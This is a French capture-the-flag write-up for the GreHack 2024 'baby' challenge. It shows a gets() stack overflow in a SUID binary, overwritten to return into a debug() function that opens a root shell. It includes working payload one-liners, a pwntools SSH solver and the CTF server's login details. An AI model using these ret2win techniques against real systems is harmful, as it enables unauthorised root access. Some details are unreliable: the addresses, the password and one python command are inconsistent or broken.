Skip to content

Description

Write Up: 0eufc0smique
Créateur: Nishacid
Difficulté: very-easy
Points: 50
Format du flag: GH{............}

Details de connection:
    Hostname: tcp0.infra.ctf.grehack.fr
    Port: 10020
    Username: baby
    Password: luv8GgeNzLmi8uERa7

Enoncé

GreHack Corp has developed the first binary to print a magnificent ASCII art of their little ghost. Connect to an SSH server to check it out.

Pièce jointe: baby.zip


Solution détaillée

Vérification du type de binaire et des protections

Mon idée était tout d’abord de le télécharger et de travailler dessus en local. Comme nous avons accès à la cible via SSH, nous utilisons scp pour rapatrier les fichiers.

  baby_pwn git:(main)  scp -P 10020 baby@tcp0.infra.ctf.grehack.fr:/home/baby/baby .
  baby_pwn git:(main)  scp -P 10020 baby@tcp0.infra.ctf.grehack.fr:/home/baby/baby.c .
  baby_pwn git:(main)  ls -l
total 32
-rwxrwxr-x 1 kali kali 19264 Nov 16 16:56 baby
-rw-r--r-- 1 kali kali  4717 Nov 16 16:56 baby.c

Je ne pouvais pas interagir avec le binaire en local : j’avais l'erreur file not found (j’ai quand même pu lancer checksec et file dessus en local), donc j’ai décidé d’interagir dessus directement depuis la machine remote .

(.venv)   baby_pwn git:(main)  file baby
baby: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=09bff4d9796a41ae2530448580c4db9e2e61acc0, for GNU/Linux 3.2.0, not stripped

(.venv)   baby_pwn git:(main)  checksec baby
[*] '/home/kali/secu_classes_ctf/ctf_events/grehack_2024/pwn/baby_pwn/baby'
    Arch:       i386-32-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
(le lendemain, comme par magie, je pouvais interagir avec, donc c’était clairement dû à mon PC x))

Code source

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

void debug(){
    setreuid(geteuid(), geteuid());
    printf("Debug mode enabled\n");
    system("/bin/ash");
}

void banner(){
    puts(
"                                                                          .=****-\n"           
"                                                                      -**=====% \n"           
"                                                                   -+*+=====+%: \n"           
"                                                              .-+**+======*%%=. \n"           
"                                                         :=++**+=====+**#*+===+*+ \n"           
"                                                  .:-+#%@#***************+***+==#- \n"           
"                                           .:=++#@%#*+++++++++++*##@*-.     .-==: \n"           
"                          :.        .:=++**++*##*++++++++++++++++++++**=. \n"           
"                    .==#=**-*--==++*++==+**##+++++++++++++++++++++++++++**: \n"           
"                  -#=#.:# ++#*+=+*****###%*++++++++####*++++++++++++++++++**. \n"           
"        ..:-==+++*****#*#%@*#**#****+==%#++++++++++++++#*+++++++++****++++++#= \n"           
"   -+****++====++*********+*%=+=:.    **++++++++++++++++++++++++##*++*%++++++#* \n"           
"   =++********++++****%#:-===#       +*+++++++++**#*++++++++++++++++++%+++++++#- \n"           
"   -+++++***+++=-:    -+=%:.#.       %++++++++*#-.:%@++++++++++++++++++++++++++% \n"           
"   :=--:.                 *-.*=     -#+++++++**  :@@@+++++++++#+=+@@#++++++++++%. \n"           
"                           ++..=+==:+*++++++*#  *#@@*+++++++#+  +@@@@++++++++++%: \n"           
"                             -++-:.:#*++++++%: =@@@%+++++++%:  :@@@@%++++++++++%. \n"           
"                                 :-=#*++++++@  +@@@*++++++%:  +#@@@#+++++**++++% \n"           
"                                    -#++++++*+:=@@#++++++*+   @@@@%+++++#+-#++*+ \n"           
"                                     %++++++++**+++++++++#=  .@@@@#++++++*#:+#%. \n"           
"                                     +*++++*%**+++*#*+++++%-  #@@@*++++++++#=:% \n"           
"                                   :*#+++++%+++++*%*##+++*+*#*###+++++++++++#*.#. \n"           
"                                  +#+++++++%+++++%*@@++%#*++++++++++++++++++%=*.# \n"           
"                                 -#+++++++++##+++%***+%++++++++++++++++++++%: +=:# \n"           
"                                 +*+++++++++++++++####%+++++++++++++++++++#+  .@.#+=+: \n"           
"                                 :%+++++++++++++++++++*##++++++++++++++++++*#=*-#*:-#:++. \n"           
"                                  -#+++++++++++++++++++++++++++++++++++++++++@*=- -:::  *- \n"           
"                                   .+***+++#*++++++++++++++++++++++++++++++++%: :-:= =.. % \n"           
"                                      .:--:.+#++++++++++++##+++++++++++++++++%. .-  -. *#- \n"           
"                                             .=*#**++++*##=#+++++++++++++++++%++ =* .%=*=  \n"           
"                                .:--:.          .%:**-:-%.:#+#*++++++++++++#*. =+*++++     \n"           
"                             =**++==+**:         =+ +=.#.:#   .-+**#****#*+.               \n"           
"                           +@%%#*======#-         -*.=# -#           ..                    \n"             
"                          =*==+*#%*=====%          .%+ +++=-.   -=:                        \n"
"                          ##**+===*%====%         :*-:*++=---==*%+%***+-                   \n"
"                          *#******++%==#-       :+=.+=    .:=**+**#====+*                  \n"
"                          -#==+*****#*+*#.    -*-.++.        +#*#*=====+*                  \n"
"                           %#*+===+*#%==###-++::+=         .=*%*+=====+*                   \n"
"                           :%*****+==%==+=*#-++:          **====+*#==**                    \n"
"                            -#+******@==+=+#:            #+=========#=                     \n"
"                             -%==+**#%==*##-            .%========+#:                      \n"
"                              .##+=+%===#-               =********+    \n"
"\n"
    );
}

void slogan(){
    printf("Fill this : New is not always ...?\n");
    char better[10];
    gets(better);
    printf("%s ? The good one is the following one : \n", better);
    printf("New is not always better ! But sometimes, it is ;)\n");
}

int main(){ 
    banner();
    slogan();
    return 0;
}

(bravo pour l’ASCII art^^)

Nous voyons qu’il s’agit d’un challenge de type ret2win : il y a une fonction debug(), qui n’est appelée ni par main() ni ailleurs… et nous devons trouver un moyen de l’appeler pour obtenir un joli shell root.

L’utilisateur baby a un SUID (c’est le s que l’on voit juste en dessous), ce qui signifie que, peu importe qui exécute le binaire, celui-ci s’exécute en tant que root. Donc si on obtient un shell, on sera root (plus de détails à la fin de l’article).

0773290cf797:~$ ls -l baby
-rwxsrwxr-x 1 baby baby 19264 Nov 16 16:56 baby

Le plan

Le but est d’écraser la pile via le buffer, en débordant suffisamment la mémoire pour toucher l’EBP sauvegardé (celui qui est mis sur la pile juste a l’appel de slogan()) et y écrire l’adresse de debug().
Ainsi, quand debug() aura fini de s’exécuter, le programme, censé reprendre à une adresse de main() pour revenir dessus, ira en réalité chercher l’adresse de debug() et l’appeler. La fonction s’exécutera donc, et on aura notre shell root.

Trouver l’offset

D’abord, nous devons déterminer combien de caractères injecter pour écraser l’adresse de retour. Après plusieurs essais, j’ai trouvé que c’était 22. Vous ne le voyez pas ici, mais je lançais le payload (rempli de A et de quatre B) à l’intérieur de GDB, et lorsque l’EIP affichait 0x42424242 (les B) au moment du crash, j’ai su que j’avais la bonne position (ce nombre peut varier selon l’envoi depuis l’“extérieur” du binaire).

Récupérer l’adresse de la fonction debug()

On peut le faire “de l’extérieur” ou “de l’intérieur” du binaire. Faisons-le de l’extérieur :

0773290cf797:~$ nm baby | grep debug
08048205 T debug

OK, on a le nombre de caractères nécessaires et l’adresse, passons à l’action.

Obtenir un shell

J’ai essayé plusieurs combinaisons de commandes perl, python et bash pour injecter mon payload dans baby, mais elles ne fonctionnaient pas :

0773290cf797:~$ python --version
Python 3.12.3
0773290cf797:~$ python -c 'print(b"A" * 22' + b"\x05\x92\x04\x08")' | ./baby
0773290cf797:~$ perl -e 'print "A" x 22 . "\x05\x92\x04\x08"' | ./baby
0773290cf797:~$ echo -e 'AAAAAAAAAAAAAAAAAAAAAA\x05\x92\x04\x08' | ./baby
comme vous ne le voyez pas ici, le programme crashait à chaque fois, sans même afficher le contenu de debug().

Un ami m’a ensuite suggéré d’ajouter un 0x0a à la commande echo -e pour ajouter un retour à la ligne (0x0a = newline), et éviter le crash.*

printf() m’a effectivement affiché quelque chose venant de debug(), donc j’ai gardé ça :

0773290cf797:~$ printf 'AAAAAAAAAAAAAAAAAAAAAA\x05\x92\x04\x08\n' | ./baby
Fill this : New is not always ...?
...

AAAAAAAAAAAAAAAAAAAAAA ? The good one is the following one :
New is not always better ! But sometimes, it is ;)
Debug mode enabled
... segfault blablabla
le programme crashait tout de même, mais au moins on voyait le message de debug() !

L’idée est maintenant que l’entrée standard (stdin) reste ouverte pour taper un cat flag.txt et lire le contenu.
Sous les systèmes de type Unix, stdin est le flux d’entrée que lit un processus. Tant que notre programme baby reste branché sur ce flux, tout ce qui y est envoyé (par exemple cat flag.txt) sera lu par baby et affiché dans notre terminal.
Pour réaliser cela, on enveloppe la charge utile dans un cat avant de tout rediriger vers le binaire.
En résumé : le programme reste bloqué assez longtemps pour qu’on puisse taper cat flag.txt et récupérer le drapeau.

Comment ça fonctionne ?

L’utilisation de () avec des commandes crée un sous-shell où s’exécutent ces commandes. Voyons :

0773290cf797:~$ (printf 'AAAAAAAAAAAAAAAAAAAAAA\x05\x92\x04\x08'; cat)

AAAAAAAAAAAAAAAAAAAAAA…

^C
0773290cf797:~$

Comme on voit, j’ai dû couper moi-même l’exécution avec CTRL+C, sinon ça continuerait à tout déverser sans fin…
C’est un peu comme si un “tunnel” restait ouvert, et la seule manière de le fermer est d’utiliser CTRL+C.

Très bien, donc maintenant que ce tunnel existe, on le redirige vers le binaire. Ça nous laisse le temps de faire un cat flag.txt et obtenir le drapeau :

0773290cf797:~$ (printf 'AAAAAAAAAAAAAAAAAAAAAA\x05\x92\x04\x08\n'; cat) | ./baby
                                                                          .=****-
                                                                      -**=====% 
                                                                   -+*+=====+%: 
                                                              .-+**+======*%%=. 
                                                         :=++**+=====+**#*+===+*+ 
                                                  .:-+#%@#***************+***+==#- 
                                           .:=++#@%#*+++++++++++*##@*-.     .-==: 
                          :.        .:=++**++*##*++++++++++++++++++++**=. 
                    .==#=**-*--==++*++==+**##+++++++++++++++++++++++++++**: 
                  -#=#.:# ++#*+=+*****###%*++++++++####*++++++++++++++++++**. 
        ..:-==+++*****#*#%@*#**#****+==%#++++++++++++++#*+++++++++****++++++#= 
   -+****++====++*********+*%=+=:.    **++++++++++++++++++++++++##*++*%++++++#* 
   =++********++++****%#:-===#       +*+++++++++**#*++++++++++++++++++%+++++++#- 
   -+++++***+++=-:    -+=%:.#.       %++++++++*#-.:%@++++++++++++++++++++++++++% 
   :=--:.                 *-.*=     -#+++++++**  :@@@+++++++++#+=+@@#++++++++++%. 
                           ++..=+==:+*++++++*#  *#@@*+++++++#+  +@@@@++++++++++%: 
                             -++-:.:#*++++++%: =@@@%+++++++%:  :@@@@%++++++++++%. 
                                 :-=#*++++++@  +@@@*++++++%:  +#@@@#+++++**++++% 
                                    -#++++++*+:=@@#++++++*+   @@@@%+++++#+-#++*+ 
                                     %++++++++**+++++++++#=  .@@@@#++++++*#:+#%. 
                                     +*++++*%**+++*#*+++++%-  #@@@*++++++++#=:% 
                                   :*#+++++%+++++*%*##+++*+*#*###+++++++++++#*.#. 
                                  +#+++++++%+++++%*@@++%#*++++++++++++++++++%=*.# 
                                 -#+++++++++##+++%***+%++++++++++++++++++++%: +=:# 
                                 +*+++++++++++++++####%+++++++++++++++++++#+  .@.#+=+: 
                                 :%+++++++++++++++++++*##++++++++++++++++++*#=*-#*:-#:++. 
                                  -#+++++++++++++++++++++++++++++++++++++++++@*=- -:::  *- 
                                   .+***+++#*++++++++++++++++++++++++++++++++%: :-:= =.. % 
                                      .:--:.+#++++++++++++##+++++++++++++++++%. .-  -. *#- 
                                             .=*#**++++*##=#+++++++++++++++++%++ =* .%=*=  
                                .:--:.          .%:**-:-%.:#+#*++++++++++++#*. =+*++++     
                             =**++==+**:         =+ +=.#.:#   .-+**#****#*+.               
                           +@%%#*======#-         -*.=# -#           ..                    
                          =*==+*#%*=====%          .%+ +++=-.   -=:                        
                          ##**+===*%====%         :*-:*++=---==*%+%***+-                   
                          *#******++%==#-       :+=.+=    .:=**+**#====+*                  
                          -#==+*****#*+*#.    -*-.++.        +#*#*=====+*                  
                           %#*+===+*#%==###-++::+=         .=*%*+=====+*                   
                           :%*****+==%==+=*#-++:          **====+*#==**                    
                            -#+******@==+=+#:            #+=========#=                     
                             -%==+**#%==*##-            .%========+#:                      
                              .##+=+%===#-               =********+    


Fill this : New is not always ...?
AAAAAAAAAAAAAAAAAAAAAA ? The good one is the following one : 
New is not always better ! But sometimes, it is ;)
Debug mode enabled
whoami
root
cat /flag.txt   
GH{...........}

Et voilà ;)

Réflexions supplémentaires

Pourquoi obtient-on un shell root => la fonction debug

Pourquoi obtient-on un shell root ? Eh bien, c’est la fonction debug() qui nous le fournit.

void debug(){
    setreuid(geteuid(), geteuid());
    printf("Debug mode enabled\n");
    system("/bin/ash");
}

setreuid

D’après le man, setreuid prend deux paramètres : ruid et euid.

0773290cf797:~$ man setreuid
...
int setreuid(uid_t ruid, uid_t euid);
...
setreuid() sets real and effective user IDs of the calling process.
  • real user ID (ruid) = l’utilisateur réel qui a lancé le processus.
  • effective user ID (euid) = l’ID que le processus utilise pour vérifier les permissions.

setreuid(geteuid(), geteuid()) met donc le ruid et l’euid à la valeur que geteuid() renvoie.
geteuid() renvoie l’UID effectif du processus.

Comme le binaire s’exécute en tant que root, quand on appelle un shell depuis cette fonction, geteuid() renvoie 0 (root). setreuid() va donc également attribuer 0 aux deux, et hop, nous voilà root.

Pourquoi mon payload en Python ne marchait pas ?

Cette commande causait un crash :

0773290cf797:~$ python -c 'print(b"A" * 22' + b"\x05\x92\x04\x08")' | ./baby

La machine cible exécutait Python3 :

0773290cf797:~$ python --version
Python 3.12.3

Le souci (merci Nishacid) est qu’en Python3 (contrairement à Python2), print() envoie du texte Unicode vers la sortie standard, ce qui ajoute des octets supplémentaires dans le flux. Voir plus bas pour la solution.

Deux autres méthodes de résolution et une autre manière de trouver l’offset

Après avoir discuté avec des amis et aussi avec Nishacid (le créateur du challenge), j’ai pu recueillir pas mal d’astuces pour résoudre le challenge autrement. Je connaissais certains procédés, mais je tiens à citer leurs contributions.

Résoudre avec SSH & Pwntools

Je n’ai pas essayé cette méthode vu que je ne pouvais pas exécuter le binaire localement, mais un ami qui y arrivait m’a montré son solveur. J’y ai ajouté des commentaires pour comprendre :

from pwn import *

# établir la connexion SSH vers le serveur distant
socket = ssh(host='tcp0.infra.ctf.grehack.fr', user='baby', password='luV8GgeNzLmi8uERa7', port=10020)

# charger le binaire baby (situé sur le serveur) et créer un 'objet' pour interagir
p = socket.process('./baby')

# réception et affichage de la sortie initiale du programme
print(p.recv())

# fabrication du payload (22*A + adresse de debug())
payload = b"A" * 22 + p32(0x08049205)

# envoi du payload
p.sendline(payload)

# ouverture d’un shell interactif pour dialoguer avec le programme
p.interactive()

Résoudre en local avec Python3

Cette commande causait le crash :

0773290cf797:~$ python -c 'print(b"A" * 22' + b"\x05\x92\x04\x08")' | ./baby

Celle-ci non :

0773290cf797:~$ (python -c 'import sys;sys.stdout.buffer.write(b"A"*22+b"\x05\x92\x04\x08")' && cat) | ./baby

C’est parce que buffer.write() écrit les octets bruts, sans encodage ni formatage involontaire, donc pas d’octets parasites => ça marche.

Une autre façon de trouver l’offset (en local)

Utilisons Pwntools pour créer un payload :

0773290cf797:~$ python -c 'from pwn import *; print(cyclic(200).decode())'
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

Faisons crasher le programme :

Fill this : New is not always ...?
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab ? The good one is the following one :
New is not always better ! But sometimes, it is ;)
Program received signal SIGSEGV, Segmentation fault.
0x61676161 in ?? ()
(gdb)

Trouvons la position de la valeur qui fait crasher :

0773290cf797:~$ python -c 'from pwn import *; print(cyclic_find(0x61676161))'
22
L’offset est toujours 22.

Remerciements

Merci à Nishacid pour la relecture du writeup et les informations supplémentaires, et merci aussi aux autres qui préfèrent rester anonymes.
Merci évidemment à tout le staff – c’était ma première participation a la GreHack, et j’ai adoré ! Un grand merci également aux cuistots, la nourriture était excellente !


Lien(s) utile(s)

Le write-up, en anglais, sur mon blog: https://0eufc0smique.github.io/pwn/BabyPwn/